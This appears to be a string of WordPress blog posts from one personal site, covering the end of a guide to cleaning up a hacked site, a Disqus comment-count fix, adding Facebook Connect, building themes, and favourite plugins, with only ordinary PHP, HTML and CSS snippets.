If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you’re too specific.

Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don’t get used to looking for specific filenames – look for timestamps, and the moment you see a timestamp you’re not responsible for, be ready for round two.

Follow-up with Google.
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you’ll be de-listed as a potentially harmful site. More information on Google’s policy on harmful sites is available here.

Final Notes

The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won’ be able to diagnose using the methods above – a DNS injection, rootkit, and so on will be harder to backtrack, and you’d be best served consulting a professional.

If you’re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book “Detecting Malice” by Robert “RSnake” Hansen. If this is your first foray into pen testing and security, you’ll appreciate Robert’s way of explaining complicated topics using easy-to-understand-language. If you’re more experienced in this field, you’ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)

Odds are, if you’ve had a website for a while, you’ve been hacked. It does happen – but by taking some steps ahead of time, and being prepared for it, you’ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.

I’ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and make sure you’re subscribed to the RSS feed to know when it’s up.

I obviously couldn’t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics. Did you learn anything new? Did I miss something? Let me know in the comments.

Possibly related posts:

1. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...
2. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...

My final post for 2009 should probably have been more climactic. If I had planned it right, the Death in the Digital Age post should have been my last for this year. Oh well.

I mentioned in a previous post that I was switching the comments system on Snipe.Net to Disqus, and although I’ve been overall quite happy with the changeover, one issue that frustrating to me is that the comment count on the site’s homepage, category pages, and individual blog post pages (single.php) was kinda fux0red.

On the homepage, it displayed “x comments and y reactions” which made the text too long for the carefully crafted masking tape strip meant to contain them. On the blog post article pages, it shows “Comments”, omitting the comment count altogether.

I found a way to fix it, and the site that contained part one of the fix is now unavailable, I figured I’d post it here in case anyone needs it:

Around line 275 of the DISQUS plugin in disqus.php (accessible via dashboard – plugins – editor), you’ll see the following:

} else if ( (is_single() || is_page() || $withcomments || is_feed()) ) {

change this line to:

} else if ( (is_page() || $withcomments || is_feed()) ) {

When I did this, I was then seeing duplicate “X Comments”, one from WordPress and one from Disqus – in other words, the page was displaying both the WordPress version and the Disqus version, but taking out the WP Comments counter in the single.php removed the code Disqus was replacing, so I ended up with no comments.

The solution for me was to add style=”display: none” to the WordPress comments part of the single.php file, so it looks like this:

<a href="#disqus_thread" style="display: none;">< ?php comments_number('0 Comments', '1 Comment', '% Comments', 'number'); ?></a>

If your comment counter is still showing “and x reactions”, there is a way to fix this too, although it kind of sucks. In your Disqus control panel, in SETTINGS in the CUSTOMIZE tab, you have to remove the template text that is in place for the Reactions section:

The reason this sucks is because by removing the template text here, it also removes the number count text from the Reactions section below the comments block on the article pages, as you can see in my comments block below. It still shows a “Reactions” header, but instead of showing “34 Reactions”, it leaves off the running tally of reactions to the post. I don’t know of a workaround for this yet, but it’s what I had to do to get the comment counter to fit on the tiny masking tape design again.

This leaves the text in the source, so the Disqus Javascript can successfully replace it with it’s own comment counter, but hides it from displaying to the user.

Hope that helps – happy new year

Possibly related posts:

1. Trying Out Disqus I’ve decided to move the comment system on Snipe.Net over...
2. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...

After much deliberation, I have decided to give Facebook Connect a shot on Snipe.Net. Those of you who read this site regularly may remember that I had quite a lot to say about using Facebook Connect last month, so it may seem odd that I’m making this decision. I’ll explain.

But… but you said….

It appears a few of my concerns from my previous article were addressed – at least in part. Unlike a month ago, it seems that Facebook has improved their security, so that if someone has their privacy locked down tightly, their name no longer appears on the site. When I tested with my own Facebook login, my picture was the default Facebook user icon and my name was listed as Facebook User. This is a big improvement in my eyes.

My main argument against using Facebook Connect on a site is using it as the only way to login, giving your users the choice of Facebook Connect, or not commenting. On Snipe.Net, we do not require a login of any kind, so this is less of an issue. If a user doesn’t want to use Facebook Connect but wants to comment, they are still free to do so. They can opt to use Facebook Connect if they want comment noted in their Facebook newsfeed. If they don’t, that’s fine too.

Goals

I am a firm believer in having specific goals for implementing new technology – not simply using it because it exists *cough*ajax*cough*. My goals here are simple – to encourage more Facebook users to visit the site. Generally speaking, regular readers of Snipe.Net tend to be of the somewhat geeky persuasion, with the exception of the random person who found the site by way of Google because they were having a specific problem that we’ve addressed here. Geeky people tend to have other geeky people as their friends – so this is an opportunity to share the joy and light that is Snipe.Net with more geeks.

It could be argued that most “real” geeks wouldn’t be caught dead on Facebook – but if that’s the case, no harm no foul. Nothing has been comprimised by adding it, even if nothing has been gained.

Making it happen

Making a website using Facebook Connect from scratch requires a little programming know-how. Making a WordPress blog Facebook Connect-enabled doesn’t, since there is a handy little plugin for it already. It appears the plugin is actually Facebook sanctioned, as the WordPress plugin documentation is available right from the Facebook developers wiki.

All you have to do is insert:

< ? php do_action('fbc_display_login_button')  ?>

into your comments.php file. Couldn’t be easier.

As a simple example, the comments.php snippet would look something like this, noting that the new line of code appears outside the else/if loop that checks if the user is logged in:

<? php if ( $user_ID ) : ?>
...
<? php else : ?>
....
<? php endif; ?>
< ? php do_action('fbc_display_login_button')  ?> 

The installation was a breeze – and although I’m still testing things out, all I had to do was add a line of code to the comments file in my WordPress theme. I opted to be a little more creative with it, and stack the “normal” WordPress comment form next to the Facebook Connect prompt, so as not to make the comment form area any longer or more unwieldy than it already is.

D’oh! Something’s borked!

One gotcha – and I don’t know if this is a bug on my end, or a plugin conflict, or what yet – but after activating the Facebook Connect plugin, my edit post functionality in the admin seems to be borked. When I try to edit a specific post, the page stops loading after the:

<div id="quicktags">
<script type="text/javascript">
<!--
edToolbar()
// -->
</script>
</div>

Still looking into this issue, and once I figure out what the cause is, I’ll update this post. As it stands now,  I have to deactivate the plugin in order to edit posts, and then re-activate it. A pain in the ass, and if I don’t find a solution soon, my Facebook Connect experiment is going to go away real quick. I’ll start by disabling some of my admin plugins and see if that helps. More to come.

Update: I disabled the Fluency Admin plugin and everything seems to be working fine. Pity, I like that admin skin. But the improved admin in WordPress 2.7 is certainly usable enough. Problem solved.

Possibly related posts:

1. Facebook Connect – a More Authentic Web, Or Loss of Privacy? Facebook recently launched their new Facebook Connect API, which extends...
2. Want to Set a Default Landing Tab on Your Facebook Fan Page? It’ll Cost You You’re gonna love this. And by love I mean be...
3. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...

If you’ve already got some design chops and a WordPress blog, but you find the idea of turning it into a WordPress template a bit daunting, you’re not alone. Creating your own WordPress theme is actually easier than you might imagine, and although some PHP-fu is certainly helpful, you don’t need to be a PHP rockstar to pull off an amazing template design.

Creating your own WordPress theme will allow you to break out of free (or commercial) templates that mean your blog invariably looks just like hundreds (if not thousands) of other blogs out there using the same theme. Plus, once you’ve created a few and feel pretty comfortable, you can potentially take on paid work customizing WordPress templates, create commercial templates to sell to people less brave than you, or offer free templates on your website as a way to draw traffic to your blog.

Getting Started

First things first, if you have something designed already, I strongly urge you to code it out into (X)HTML before even looking at a WordPress theme tutorial. Trying to wrangle style sheets while trying to grok the theme structure might be a bit much, so you’ll be ahead of the game if you’ve already got your design and (X)HTML coding done. (If you’re unsure about how to code a table-free layout, using only CSS, check out our article, Making the Leap to All-CSS Layout.)

One thing to keep in mind as you’re slicing and dicing your design and beginning your layout coding, there are some commonly used CSS element names in most WordPress themes that you may want to use in your code. Chance are, you’re not going to be creating every single template file from scratch, but rather, reusing a sample or tutorial template. Keeping the element names consistent will make this much easier in the long run. The template classes often used are:

1. #wrapper (holds the entire layout except the footer)
2. #header (header part, including top page navigation)
3. #content (container that holds your main page content and sidebar)
4. #left-col (for the posting area, comment section and respond section)
5. #right-col (your sidebar)
6. #footer (footer)

Quick Note on CSS

Notice that we’re using element ids instead of classes in the list above. This is because classes (such as li.foo or .foo) are meant to be reusable. CSS id elements (such as #foo) are only used once in a page, and since these primary elements are never re-used on the page, we use ids instead of classes. Using ids instead of classes will make inheritance much easier and will speed up your development time.

Just as a reminder to CSS-newbies, if you have an element defined with an id (as opposed to a class), its very easy to control large groups of child class elements. For example, something like this:

<div id="nav">
<ul>
<li>Nav Item 1</li>
<li>Nav Item 2</li>
<li>Nav Item 3</li>
</ul>
</div>

To apply a style to all of the list item elements inside of the div with the id of “nav”, you simply use this:

#nav li {
color: white;
}

This would turn all of the text in your list items elements white. You can further define specifics by combining ids and classes, like:

#nav li.widget {
color: green;
}

That will cause the text in all of your list items with the class of “widget” within the “nav” div to turn green. Easy, right? I bring this up here (and my apologizes to anyone reading this who already understands the relationship between id and class) is because your WordPress HTML/CSS will be much cleaner and easier to work with if you take this approach.

Moving On…

While I could spend the time writing my own tutorial from scratch here, a few other people have already written ones that kick the crap out of anything I could come up with, so I’ll leave the actual nuts and bolts to them. A few tutorials really stand out from the rest. Some of these tutorials are pretty complicated and involved, while others work with only the basics to avoid confusing the reader with too much information.

How to Create a WordPress Theme from Scratch, brought to you by NetTuts, does exactly this, taking a very simple approach that may be particularly helpful with people still perfecting their CSS-fu. At the end of the tutorial, you end up with a plain, but functional, place to start that includes all of the basic functionality your blog will need, without overloading it with design elements that might be confusing.

How to Create a WordPress Theme from Scratch, brought to you by ThemeTation, is an incredibly comprehensive tutorial that starts with actually designing, slicing and coding the PSD file. It might be a little much for someone who already knows how to slice and dice their PSDs into submission, but part 3a starts at actual implementation into WordPress. While this tutorial is a bit long, it gives you a start-to-finish walkthrough that may be very helpful to some.

So You Want to Create WordPress Themes, Huh?, brought to you by WPDesigner, is a bit of a middle ground of the first two tutorials listed. It’s very comprehensive, but it assumes that you’ve already got the layout slicing mostly covered, so the real focus is on WordPress theme structure and functionality.

There is even a three-part video screencast tutorial available on the CSS-Tricks website. Pack a lunch, as the complete series is over two hours long, but Chris does a great job addressing theme creation from start to finish. They also provide the demo theme created in the video as a download, so you can play along.

A Word on Widgets

Plugins are arguably the best part of WordPress. Chances are, if you want your blog to have some special feature or function, someone has already created a plugin that does it. Not all plugins are widget-ready, but the ones that are usually use the same CSS containers, so that they will fit seamessly into your page design. (Not all widgets do this, which can be a pain in the ass, but you should plan for the standard and fix the ones that don’t comply.

The standard WordPress sidebar widget CSS looks something like this:

<div id="sidebar">
<ul>
<li class="widget">
<h2>Widget Name</h2>
<ul>
<li>Widget content 1</li>
<li>Widget content 2</li>
<li>Widget content 2</li>
</ul>
</li>
</ul>
</div>

Because this is a semi-standard format, you might want to consider coding your HTML in this way, so you have a better chance of widgets fitting into your site’s style right out of the box. It won’t work every time, but it often does, and I wish I had realized that when I first got started.

Next Steps

As usual, I tend to recommend that you actually follow the steps in these tutorials, one by one as you go. I’m a hands-on learner, so nothing makes information stick in my brain better than actually getting into the muck of it.

Personally, when I learned to make WordPress themes, I started with the simplest tutorials listed above, and then opened the default theme that comes with WordPress, copied it, installed my new copy under a new name, and used that as the place to start. Once I felt pretty confident there, I poked around in some of the more complicated themes, to see how they did what they do. Start simple – don’t try to conquer the world of WordPress your first time. The more comfortable you get with the structure and functions, the more great ideas you’ll have on what you can do with your blog.

When you’re ready to get more advanced, check out the WordPress Codex, that explains what each function within WordPress does, usually with detailed examples and documentation. If you start to get fancy with your WordPress queries, specifically with regard to specifying posts from only one (or more) categories, or all posts from one (or more) categories except the one you specify, the Template Tags – Query page in the codex will be your new best friend. The forums are also a great place to get answers to a specific question.

Possibly related posts:

1. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
2. Fixing Comment Count Bug in Disqus on WordPress My final post for 2009 should probably have been more...
3. Photoshop Tutorials That Will Change Your Life Photoshop tutorials are a dime a dozen, and simply googling...

Many WordPress bloggers have taken the time to share the WordPress plugins they can’t live without, and because I’ve found some of my favorites that way, I’ve decided to do the same. These plugins may not be right for everyone, but they’re the ones I use on this site. It’s easy for people to get carried away with plugins, installing everything they find, bringing their blog to a crawl. Hopefully, these suggestions will help you focus on quality, not quantity.

Don’t Blog Without Them!

Askimet (spam control) – This probably goes without saying, but I simply wouldn’t have commenting on my blog if not for Askimet. Excellent spam-prevention, I’ve had no false negatives, and only a small handful of false positives that took no time at all to mark as spam and send into the ether.

Subscribe to Comments – seriously, I cannot believe this plugin isn’t part of the WordPress core. It’s absolutely one of the most important plugins you can have.  Users can subscribe to blog posts and they will receive an e-mail when someone replies to the post. I can’t even count how may times I have forgotten to check back on a blog I commented on just because they fell off my radar. This plugin also allows admins to manage all subscriptions, and allows users to unsubscribe from updates very easily.

WP-Supercache – Fantastic page-caching system to improve performance of your blog, even under heavier traffic. Comes with configuration options, and you can easily toggle whether its enabled or disabled if you need to test something that’s cached.

Almost as Awesome – User/Commenting

CommentLuv – This plugin gives some comment love back to the people who reply to your posts, showing the title and link to their most recent post on their own along with their comment.

TwitID – Let’s users post their Twitter ID with their blog comments.

Show Top Commentators – Give some love to the people who comment on your blog the most. I’ve had no trouble with this one, but some blog owners have expressed concern about it inviting an onslaught of “nice post” bullshit comments to boost a commenter’s reply count. I imagine it really depends on your audience, and how douchy they are. If it becomes a problem here, I’ll pull it, but it’s worked out nicely so far.

Organize Series (article series organizer) – I just came across this plugin fairly recently, and its exactly what I was looking for. If you find yourself writing multi-part articles or tutorials, this is the plugin for you.  It’s easy to use, and let’s you associate articles to a series right from the post edit screen.  For an example of the series overview page, click here. The widget is all-CSS based, so its a breeze to make it fit into your look+feel.

Almost as Awesome – Content

Adsense Inline (advertising) – This little plugin adds the ability to insert your Google Adwords into the content of your post. I no longer use it, but not because it didn’t work. It did exactly what it promised, I just changed the placement of ads in the site.

All In One SEO (search engine optimization) – Nice little plugin that optimizes your WordPress blog for Search Engines, optimizing your title tags and generating meta information automagically based on post content.

FlickRSS (flickr plugin) – Sweet little plugin that lets you display photos from your flickr account in the sidebar of your blog. I don’t use this one anymore, but only because I’m trying to keep the length of the sidebar down. I’ve used this plugin for a while and it’s worked great.

Syntax Highlighter (code syntax highlighter) – I love this plugin. I’ve tried other code syntax highlighting plugins and none were as nice looking and featured. This one allows users to click on a link in every snippet of source code that allows them to copy+paste the code you’re highlighting without the line breaks and number formatting. One thing to note, however, I have run into issues using this plugin in visual mode, where it actually echos out the highlighting CSS in the editor – works like a dream in HTML mode though.

Most Commented – This simple plugin allows you to display a list of the most commented posts. Quick and easy, the way plugins should be. Also check out some of the other plugins available on the MtDewVirus site – some of them look handy.

NextGEN (image gallery) – This plugin is probably one of the most well done and well-established out of the box image gallery plugins. It can be a little clumsy to use, but it’s easy enough to get the hang of. NetGEN offers some nice, sophisticated features such as thickbox integration, a built-in flash slideshow, widget support and dynamic watermarking.

wPopularity – This plugin is no longer supported, and may cause an “table doesn’t exist” error when you try to install it – but the workaround to the error is posted here. That said, it works great, and once the database schema fix was applied, it’s worked perfectly. You can see this one at work in the right sidebar of this site.

Yet Another Related Posts Plugin (YARP) – Shows related posts at the bottom of every article. This plugin comes with lots of configuration options that determine how keywords, titles, excerpts, etc should be weighted when calculating the most relevent posts to display. And I think they finally stopped turning the “Give YARP credit” option every time an upgrade was done, which is nice.

Random Quote – displays a random quote on your sidebar via widget. Admin allows you to add/edit/remove quotes. I use this one for the “Random Tidbit” box in this site’s sidenav.

Theme Preview - Great, lightweight plugin that is essential if you’re developing a new theme for an active WordPress blog. With this plugin, you can preview the entire WordPress page in whatever theme you’re working on. It made the redesign of this site so much easier.

Almost as Awesome – Social Networks & Other Blogs

Last.Fm RPS (last.fm feed display) – I admit I did a little hacking on this one, but only because I needed something very specific from the display. This is the plugin that powers the “Latest Tracks on Last.Fm” sidebar block, although it doesn’t do the fancy cd-image overlay out of the box (that was a CSS hack I came up with.)

LJXP (Livejournal crossposting) – Nifty plugin that lets me choose to automagically crosspost my blog artcles to my Livejournal account. While it’s nice and simple, it allows you to configure several options, including the default behavior for comments, how it should handle Livejournal cuts, and so on.

Twitter Tools - Displays your most recent Twitter posts, either by way of php code or widget. This plugin powers the “last tweet” featured in this site’s header, and the most recent tweets list in the footer. It comes with some configurable options, such as ignoring @replies. The date still seems a little jacked up, with most recent posts showing up as having been posted 3 weeks ago, but I haven’t had time to investigate the issue. I’m sure it’s just a date conversion/localization issue.

Sociable – Adds the handy set of social network icons at the bottom of every post/page. Comes with a huge list of available networks – you can choose which to include in your setup.

So, those are my favs – did I miss any? Share your favorites in the comments.

Possibly related posts:

1. Fixing Comment Count Bug in Disqus on WordPress My final post for 2009 should probably have been more...
2. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...
3. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...